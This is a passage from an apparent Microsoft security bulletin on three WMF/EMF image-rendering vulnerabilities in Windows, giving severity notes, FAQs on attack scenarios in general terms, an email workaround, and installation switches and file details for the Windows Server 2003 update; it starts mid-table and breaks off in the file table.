\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\r\nThis assessment is based on the types of systems that are affected by the vulnerability, their typical deployment patterns, and the effect that exploiting the vulnerability would have on them.\r\n\r\nNote The severity ratings for non-x86 operating system versions map to the x86 operating systems versions as follows:\r\n\u2022\t\r\n\r\nThe Microsoft Windows XP Professional x64 Edition severity rating is the same as the Windows Server 2003 Service Pack 1.\r\n\u2022\t\r\n\r\nThe Microsoft Windows Server 2003 for Itanium-based Systems severity rating is the same as the Windows Server 2003 severity rating.\r\n\u2022\t\r\n\r\nThe Microsoft Windows Server 2003 with SP1 for Itanium-based Systems severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\n\u2022\t\r\n\r\nThe Microsoft Windows Server 2003 x64 Edition severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\nTop of sectionTop of section\r\n\t\r\nFrequently asked questions &#40;FAQ&#41; related to this security update\r\n\r\nWhy does this update address several reported security vulnerabilities?\r\nThis update contains support for several vulnerabilities because the modifications that are required to address these issues are located in related files. Instead of having to install several updates that are almost the same, customers can install only this update.\r\n\r\nWhat updates does this release replace?\r\nThis security update replaces several prior security updates. The security bulletin IDs and affected operating systems are listed in the following table.\r\nBulletin ID\tWindows 2000\tWindows XP Service Pack 1\tWindows XP Service Pack 2\tWindows Server 2003\tWindows Server 2003 Service Pack 1\r\n\r\nMS03-045\r\n\t\r\n\r\nNot Replaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\t\r\n\r\nNot Replaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nMS05-002\r\n\t\r\n\r\nNot Replaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\t\r\n\r\nNot Replaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nExtended security update support for Microsoft Windows NT Workstation 4.0 Service Pack 6a and Windows 2000 Service Pack 2 ended on June 30, 2004. Extended security update support for Microsoft Windows NT Server 4.0 Service Pack 6a ended on December 31, 2004. Extended security update support for Microsoft Windows 2000 Service Pack 3 ended on June 30, 2005. I\u2019m still using one of these operating systems, what should I do?\r\n\r\nWindows NT Workstation 4.0 Service Pack 6a, Windows NT Server 4.0 Service Pack 6a, Windows 2000 Service Pack 2, and Windows 2000 Service Pack 3 have reached the end of their life cycles. It should be a priority for customers who have these operating system versions to migrate to supported versions to prevent potential exposure to vulnerabilities. For more information about the Windows Product Lifecycle, visit the following Microsoft Support Lifecycle Web site. For more information about the extended security update support period for these operating system versions, visit the Microsoft Product Support Services Web site.\r\n\r\nCustomers who require additional support for Windows NT 4.0 SP6a and Windows 2000 Service Pack 3 must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for custom support options. Customers without an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager.\r\n\r\nFor more information, see the Windows Operating System Product Support Lifecycle FAQ.\r\n\r\nSecurity update support for Microsoft Windows XP 64-Bit Edition Service Pack 1 &#40;Itanium&#41; and Microsoft Windows XP 64-Bit Edition Version 2003 &#40;Itanium&#41; ended on June 30, 2005. I\u2019m still using one of these operating systems, what should I do?\r\n\r\nWith the release of Windows XP Professional x64 Edition, Microsoft Windows XP 64-Bit Edition Service Pack 1 &#40;Itanium&#41; and Microsoft Windows XP 64-Bit Edition Version 2003 &#40;Itanium&#41; will no longer receive security update support. It should be a priority for customers who have these operating system versions to migrate to supported versions to prevent potential exposure to vulnerabilities. Microsoft will continue to fully support Windows Server 2003 for Itanium-based systems, Windows XP Professional x64 Edition, and Windows Server 2003 x64 Editions for 64-bit computing requirements. Microsoft continues to license and support Windows Server 2003 Enterprise and Datacenter editions for Itanium-based systems, and the 64-bit version of SQL Server 2000 Enterprise Edition. In the future we will expand Itanium support to Visual Studio 2005, .NET Framework 2005 and SQL Server 2005.\r\n\r\nCustomers who require additional assistance about this issue must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for information about the available migration options. Customers without an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager.\r\n\r\nCan I use the Microsoft Baseline Security Analyzer &#40;MBSA&#41; 1.2.1 to determine whether this update is required?\r\n\r\nYes. MBSA 1.2.1 will determine whether this update is required. For more information about MBSA, visit the MBSA Web site.\r\n\r\nCan I use the Microsoft Baseline Security Analyzer &#40;MBSA&#41; 2.0 to determine whether this update is required?\r\n\r\nYes. MBSA 2.0 will determine whether this update is required. MBSA 2.0 can detect security updates for products that Microsoft Update supports. For more information about MBSA, visit the MBSA Web site.\r\n\r\nCan I use Systems Management Server &#40;SMS&#41; to determine whether this update is required?\r\n\r\nYes. SMS can help detect and deploy this security update. For information about SMS, visit the SMS Web site. The Security Update Inventory Tool can be used by SMS for detecting security updates that are offered by Windows Update, that are supported by Software Update Services, and other security updates that are supported by MBSA 1.2.1. For more information about the Security Update Inventory Tool, see the following Microsoft Web site. For more information about the limitations of the Security Update Inventory Tool, see Microsoft Knowledge Base Article 306460. The SMS 2003 Inventory Tool for Microsoft Updates can be used by SMS for detecting security updates that are offered by Microsoft Update and that are supported by Windows Server Update Services. For more information about the SMS 2003 Inventory Tool for Microsoft Updates, see the following Microsoft Web site.\r\nTop of sectionTop of section\r\n\t\r\nVulnerability Details\r\n\t\r\nGraphics Rendering Engine - CAN-2005-2123:\r\n\r\nA remote code execution vulnerability exists in the rendering of Windows Metafile &#40;WMF&#41; and Enhanced Metafile &#40;EMF&#41; image formats that could allow remote code execution on an affected system. Any program that renders WMF or EMF images on the affected systems could be vulnerable to this attack. An attacker who successfully exploited this vulnerability could take complete control of an affected system.\r\n\t\r\nMitigating Factors for Graphics Rendering Engine - CAN-2005-2123:\r\n\u2022\t\r\n\r\nThe vulnerability could be exploited by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a malicious file, except potentially through previewing an email message.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker would have no way to force users to visit a malicious Web site. Instead, an attacker would have to persuade them to visit the Web site, typically by getting them to click a link that takes them to the attacker&#39;s Web site.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Graphics Rendering Engine - CAN-2005-2123:\r\n\r\nMicrosoft has tested the following workarounds. While these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 or a later version, to help protect yourself from the HTML e-mail attack vector.\r\n\r\nMicrosoft Outlook 2002 users who have applied Office XP Service Pack 1 or a later version and Microsoft Outlook Express 6 users who have applied Internet Explorer 6 Service Pack 1 or a later version can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model &#40;custom code solutions&#41; may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Graphics Rendering Engine - CAN-2005-2123:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could remotely take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This vulnerability could also be used to attempt to perform a local elevation of privilege or a remote denial of service.\r\n\r\nWhat causes the vulnerability?\r\nAn unchecked buffer in the rendering of Windows Metafile &#40;WMF&#41; and Enhanced Metafile &#40;EMF&#41; image formats.\r\n\r\nWhat are Windows Metafile &#40;WMF&#41; and Enhanced Metafile &#40;EMF&#41; image formats?\r\n\r\nA WMF image is a 16-bit metafile format that can contain both vector information and bitmap information. It is optimized for the Windows operating system.\r\n\r\nAn EMF image is a 32-bit format that can contain both vector information and bitmap information. This format is an improvement over the Windows Metafile Format and contains extended features.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nAny program that renders the affected image types could be vulnerable to this attack. Here are some examples of how an attacker could attempt to exploit this vulnerability:\r\n\u2022\t\r\n\r\nAn attacker could host a malicious Web site that is designed to exploit this vulnerability through Internet Explorer and then persuade a user to view the Web site.\r\n\u2022\t\r\n\r\nAn attacker could create an HTML e-mail message that has a specially crafted image attached. The specially crafted image could be designed to exploit this vulnerability through Microsoft Outlook or through Outlook Express 6. An attacker could persuade the user to view the HTML e-mail message.\r\n\u2022\t\r\n\r\nAn attacker could embed a specially crafted image in an Office document and then persuade the user to view the document.\r\n\u2022\t\r\n\r\nAn attacker could add a specially crafted image to the local file system or onto a network share and then persuade the user to preview the folder.\r\n\u2022\t\r\n\r\nIf an attacker is able to log on locally, they could then run a specially-designed program that could exploit the vulnerability, and thereby gain complete control over the affected system.\r\n\r\nAn attacker could also access the affected component through another vector. For example, an attacker could log on to the system interactively or by using another program that passes parameters to the vulnerable component &#40;locally or remotely&#41;. To locally exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially-designed application that could exploit the vulnerability, and thereby gain complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nThe vulnerability could be exploited on the affected systems by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an email message. Workstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet?\r\nYes. An attacker could try to exploit this vulnerability through malicious Web sites or through email over the Internet.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the Graphics Rendering Engine processes Windows Metafile &#40;WMF&#41; and Enhanced Metafile &#40;EMF&#41; image formats.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure. Microsoft had not received any information to indicate that this vulnerability had been publicly disclosed when this security bulletin was originally issued.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nWindows Metafile Vulnerability - CAN-2005-2124:\r\n\r\nA remote code execution vulnerability exists in the rendering of Windows Metafile &#40;WMF&#41; image format that could allow remote code execution on an affected system. Any program that renders WMF images on the affected systems could be vulnerable to this attack. An attacker who successfully exploited this vulnerability could take complete control of an affected system.\r\n\t\r\nMitigating Factors for Windows Metafile Vulnerability - CAN-2005-2124:\r\n\u2022\t\r\n\r\nThe vulnerability could be exploited by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a malicious file, except potentially through previewing an email message.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker would have no way to force users to visit a malicious Web site. Instead, an attacker would have to persuade them to visit the Web site, typically by getting them to click a link that takes them to the attacker&#39;s Web site.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Windows Metafile Vulnerability - CAN-2005-2124:\r\n\r\nMicrosoft has tested the following workarounds. While these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 or a later version, to help protect yourself from the HTML e-mail attack vector.\r\n\r\nMicrosoft Outlook 2002 users who have applied Office XP Service Pack 1 or a later version and Microsoft Outlook Express 6 users who have applied Internet Explorer 6 Service Pack 1 or a later version can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model &#40;custom code solutions&#41; may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Windows Metafile Vulnerability - CAN-2005-2124:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could remotely take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This vulnerability could also be used to attempt to perform a local elevation of privilege or a remote denial of service.\r\n\r\nWhat causes the vulnerability?\r\nAn unchecked buffer in the rendering of Windows Metafile &#40;WMF&#41; image formats.\r\n\r\nWhat are Windows Metafile &#40;WMF&#41; image formats?\r\n\r\nA WMF image is a 16-bit metafile format that can contain both vector information and bitmap information. It is optimized for the Windows operating system.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nAny program that renders the affected image types could be vulnerable to this attack. Here are some examples of how an attacker could attempt to exploit this vulnerability:\r\n\u2022\t\r\n\r\nAn attacker could host a malicious Web site that is designed to exploit this vulnerability through Internet Explorer and then persuade a user to view the Web site.\r\n\u2022\t\r\n\r\nAn attacker could create an HTML e-mail message that has a specially crafted image attached. The specially crafted image could be designed to exploit this vulnerability through Microsoft Outlook or through Outlook Express 6. An attacker could persuade the user to view the HTML e-mail message.\r\n\u2022\t\r\n\r\nAn attacker could embed a specially crafted image in an Office document and then persuade the user to view the document.\r\n\u2022\t\r\n\r\nAn attacker could add a specially crafted image to the local file system or onto a network share and then persuade the user to preview the folder.\r\n\u2022\t\r\n\r\nAn attacker could locally log on to the system. An attacker could then run a specially-designed program that could exploit the vulnerability, and thereby gain complete control over the affected system.\r\n\r\nAn attacker could also access the affected component through another vector. For example, an attacker could log on to the system interactively or by using another program that passes parameters to the vulnerable component &#40;locally or remotely&#41;. To locally exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially-designed application that could exploit the vulnerability, and thereby gain complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nThe vulnerability could be exploited on the affected systems by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an email message. Workstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet?\r\nYes. An attacker could try to exploit this vulnerability through malicious Web sites or through email over the Internet.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the affected operating system versions validate the length of a message before it passes the message to the allocated buffer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure. Microsoft had not received any information to indicate that this vulnerability had been publicly disclosed when this security bulletin was originally issued.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nEnhanced Metafile Vulnerability - CAN-2005-0803:\r\n\r\nA denial of service vulnerability exists in the rendering of Enhanced Metafile &#40;EMF&#41; image format that could allow any program that renders EMF images to be vulnerable to attack. An attacker who successfully exploited this vulnerability could cause the affected programs to stop responding.\r\n\t\r\nMitigating Factors for Enhanced Metafile Vulnerability - CAN-2005-0803:\r\n\u2022\t\r\n\r\nThe vulnerability could be exploited by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a malicious file, except potentially through previewing an email message.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker would have no way to force users to visit a malicious Web site. Instead, an attacker would have to persuade them to visit the Web site, typically by getting them to click a link that takes them to the attacker&#39;s Web site.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Enhanced Metafile Vulnerability - CAN-2005-0803:\r\n\r\nMicrosoft has tested the following workarounds. While these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 or a later version, to help protect yourself from the HTML e-mail attack vector.\r\n\r\nMicrosoft Outlook 2002 users who have applied Office XP Service Pack 1 or a later version and Microsoft Outlook Express 6 users who have applied Internet Explorer 6 Service Pack 1 or a later version can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model &#40;custom code solutions&#41; may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Enhanced Metafile Vulnerability - CAN-2005-0803:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a denial of service vulnerability. An attacker who exploited this vulnerability could cause the affected program to stop responding. The program could be restarted in order to return to normal operation. Note that the denial of service vulnerability would not allow attackers to execute code or elevate their privileges, but it could cause the affected program to stop responding.\r\n\r\nWhat causes the vulnerability?\r\nAn unchecked buffer in the rendering of Enhanced Metafile &#40;EMF&#41; image formats.\r\n\r\nWhat are Enhanced Metafile &#40;EMF&#41; image formats?\r\n\r\nAn EMF image is a 32-bit format that can contain both vector information and bitmap information. This format is an improvement over the Windows Metafile Format and contains extended features.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could cause a program to stop responding.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nAny program that renders the affected image types could be vulnerable to this attack. Here are some examples of how an attacker could attempt to exploit this vulnerability:\r\n\u2022\t\r\n\r\nAn attacker could host a malicious Web site that is designed to exploit this vulnerability through Internet Explorer and then persuade a user to view the Web site.\r\n\u2022\t\r\n\r\nAn attacker could create an HTML e-mail message that has a specially crafted image attached. The specially crafted image could be designed to exploit this vulnerability through Microsoft Outlook or through Outlook Express 6. An attacker could persuade the user to view the HTML e-mail message.\r\n\u2022\t\r\n\r\nAn attacker could embed a specially crafted image in an Office document and then persuade the user to view the document.\r\n\u2022\t\r\n\r\nAn attacker could add a specially crafted image to the local file system or onto a network share and then persuade the user to preview the folder.\r\n\u2022\t\r\n\r\nAn attacker could locally log on to the system. An attacker could then run a specially-designed program that could exploit the vulnerability.\r\n\r\nAn attacker could also access the affected component through another vector. For example, an attacker could log on to the system interactively or by using another program that passes parameters to the vulnerable component &#40;locally or remotely&#41;. To locally exploit this vulnerability, an attacker would first have to log on to the system.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nThe vulnerability could be exploited on the affected systems by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an email message. Workstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet?\r\nYes. An attacker could try to exploit this vulnerability through malicious Web sites or through email over the Internet.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the affected operating system versions validate the length of a message before it passes the message to the allocated buffer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CAN-2005-0803.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had seen examples of proof of concept code published publicly but had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability?\r\nYes. This security update addresses the vulnerability that is currently being exploited. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CAN-2005-0803.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nSecurity Update Information\r\n\r\nAffected Software:\r\n\r\nFor information about the specific security update for your affected software, click the appropriate link:\r\n\t\r\nWindows Server 2003 &#40;all versions&#41;\r\n\r\nPrerequisites\r\nThis security update requires Windows Server 2003 or Windows Server 2003 Service Pack 1.\r\n\r\nInclusion in Future Service Packs:\r\nThe update for this issue will be included in future Service Pack or Update Rollup.\r\n\r\nInstallation Information\r\n\r\nThis security update supports the following setup switches.\r\nSupported Security Update Installation Switches\r\nSwitch\tDescription\r\n\r\n/help\r\n\t\r\n\r\nDisplays the command-line options\r\nSetup Modes\t \r\n\r\n/passive\r\n\t\r\n\r\nUnattended Setup mode. No user interaction is required, but installation status is displayed. If a restart is required at the end of Setup, a dialog box will be presented to the user with a timer warning that the computer will restart in 30 seconds.\r\n\r\n/quiet\r\n\t\r\n\r\nQuiet mode. This is the same as unattended mode, but no status or error messages are displayed.\r\nRestart Options\t \r\n\r\n/norestart\r\n\t\r\n\r\nDoes not restart when installation has completed\r\n\r\n/forcerestart\r\n\t\r\n\r\nRestarts the computer after installation and force other applications to close at shutdown without saving open files first.\r\n\r\n/warnrestart[:x]\r\n\t\r\n\r\nPresents a dialog box with a timer warning the user that the computer will restart in x seconds. &#40;The default setting is 30 seconds.&#41; Intended for use with the /quiet switch or the /passive switch.\r\n\r\n/promptrestart\r\n\t\r\n\r\nDisplay a dialog box prompting the local user to allow a restart\r\nSpecial Options\t \r\n\r\n/overwriteoem\r\n\t\r\n\r\nOverwrites OEM files without prompting\r\n\r\n/nobackup\r\n\t\r\n\r\nDoes not back up files needed for uninstall\r\n\r\n/forceappsclose\r\n\t\r\n\r\nForces other programs to close when the computer shuts down\r\n\r\n/log: path\r\n\t\r\n\r\nAllows the redirection of installation log files\r\n\r\n/integrate:path\r\n\t\r\n\r\nIntegrates the update into the Windows source files. These files are located at the path that is specified in the switch.\r\n\r\n/extract[:path]\r\n\t\r\n\r\nExtracts files without starting the Setup program\r\n\r\n/ER\r\n\t\r\n\r\nEnables extended error reporting\r\n\r\n/verbose\r\n\t\r\n\r\nEnables verbose logging. During installation, creates &#37;Windir&#37;&#92;CabBuild.log. This log details the files that are copied. Using this switch may cause the installation to proceed more slowly.\r\n\r\nNote You can combine these switches into one command. For backward compatibility, the security update also supports many of the setup switches that the earlier version of the Setup program uses. For more information about the supported installation switches, see Microsoft Knowledge Base Article 262841. For more information about the Update.exe installer, visit the Microsoft TechNet Web site.\r\n\r\nDeployment Information\r\n\r\nTo install the security update without any user intervention, use the following command at a command prompt for Windows Server 2003:\r\n\r\nWindowsserver2003-kb896424-x86-enu /quiet\r\n\r\nNote Use of the /quiet switch will suppress all messages. This includes suppressing failure messages. Administrators should use one of the supported methods to verify the installation was successful when they use the /quiet switch. Administrators should also review the KB896424.log file for any failure messages when they use this switch.\r\n\r\nTo install the security update without forcing the system to restart, use the following command at a command prompt for Windows Server 2003:\r\n\r\nWindowsserver2003-kb896424-x86-enu /norestart\r\n\r\nFor information about how to deploy this security update by using Software Update Services, visit the Software Update Services Web site. For more information about how to deploy this security update using Windows Server Update Services, visit the Windows Server Update Services Web site. This security update will also be available through the Microsoft Update Web site.\r\n\r\nRestart Requirement\r\n\r\nYou must restart your system after you apply this security update.\r\n\r\nRemoval Information\r\n\r\nTo remove this update, use the Add or Remove Programs tool in Control Panel.\r\n\r\nSystem administrators can also use the Spuninst.exe utility to remove this security update. The Spuninst.exe utility is located in the &#37;Windir&#37;&#92;$NTUninstallKB896424$&#92;Spuninst folder.\r\nSupported Spuninst.exe Switches\r\nSwitch\tDescription\r\n\r\n/help\r\n\t\r\n\r\nDisplays the command-line options\r\nSetup Modes\t \r\n\r\n/passive\r\n\t\r\n\r\nUnattended Setup mode. No user interaction is required, but installation status is displayed. If a restart is required at the end of Setup, a dialog box will be presented to the user with a timer warning that the computer will restart in 30 seconds.\r\n\r\n/quiet\r\n\t\r\n\r\nQuiet mode. This is the same as unattended mode, but no status or error messages are displayed.\r\nRestart Options\t \r\n\r\n/norestart\r\n\t\r\n\r\nDoes not restart when installation has completed\r\n\r\n/forcerestart\r\n\t\r\n\r\nRestarts the computer after installation and force other applications to close at shutdown without saving open files first.\r\n\r\n/warnrestart[:x]\r\n\t\r\n\r\nPresents a dialog box with a timer warning the user that the computer will restart in x seconds. &#40;The default setting is 30 seconds.&#41; Intended for use with the /quiet switch or the /passive switch.\r\n\r\n/promptrestart\r\n\t\r\n\r\nDisplay a dialog box prompting the local user to allow a restart\r\nSpecial Options\t \r\n\r\n/forceappsclose\r\n\t\r\n\r\nForces other programs to close when the computer shuts down\r\n\r\n/log:path\r\n\t\r\n\r\nAllows the redirection of installation log files\r\n\r\nFile Information\r\n\r\nThe English version of this security update has the file attributes that are listed in the following table. The dates and times for these files are listed in coordinated universal time &#40;UTC&#41;. When you view the file information, it is converted to local time. To find the difference between UTC and local time, use the Time Zone tab in the Date and Time tool in Control Panel.\r\n\r\nWindows Server 2003, Web Edition; Windows Server 2003, Standard Edition; Windows Server 2003, Datacenter Edition; Windows Server 2003, Enterprise Edition; Windows Small Business Server 2003; Windows Server 2003, Web Edition with SP1; Windows Server 2003, Standard Edition with SP1; Windows Server 2003, Enterprise Edition with SP1; and Windows Server 2003, Datacenter Edition with SP1:\r\nFile Name\tVersion\tDate\tTime\tSize\tFolder\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n02:48\r\n\t\r\n\r\n271,872\r\n\t\r\n\r\nRTMGDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n05-Oct-2005\r\n\t\r\n\r\n23:51\r\n\t\r\n\r\n1,815,552\r\n\t\r\n\r\nRTMGDR\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n02:38\r\n\t\r\n\r\n272,384\r\n\t\r\n\r\nRTMQFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n05-Oct-2005\r\n\t\r\n\r\n23:56\r\n\t\r\n\r\n1,818,112\r\n\t\r\n\r\nRTMQFE\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n02:03\r\n\t\r\n\r\n281,600\r\n\t\r\n\r\nSP1GDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n00:42\r\n\t\r\n\r\n1,848,320\r\n\t\r\n\r\nSP1GDR\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n02:12\r\n\t\r\n\r\n281,600\r\n\t\r\n\r\nSP1QFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n00:53\r\n\t\r\n\r\n1,847,808\r\n\t\r\n\r\nSP1QFE\r\n\r\nArpidfix.exe\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n00:21\r\n\t\r\n\r\n32,256\r\n\t\r\n\r\nWindows Server, 2003 Enterprise Edition for Itanium-based Systems; Windows Server 2003, Datacenter Edition for Itanium-based Systems; Windows Server 2003, Enterprise Edition with SP1 for Itanium-based Systems; and Windows Server 2003, Datacenter Edition with SP1 for Itanium-based Systems:\r\nFile 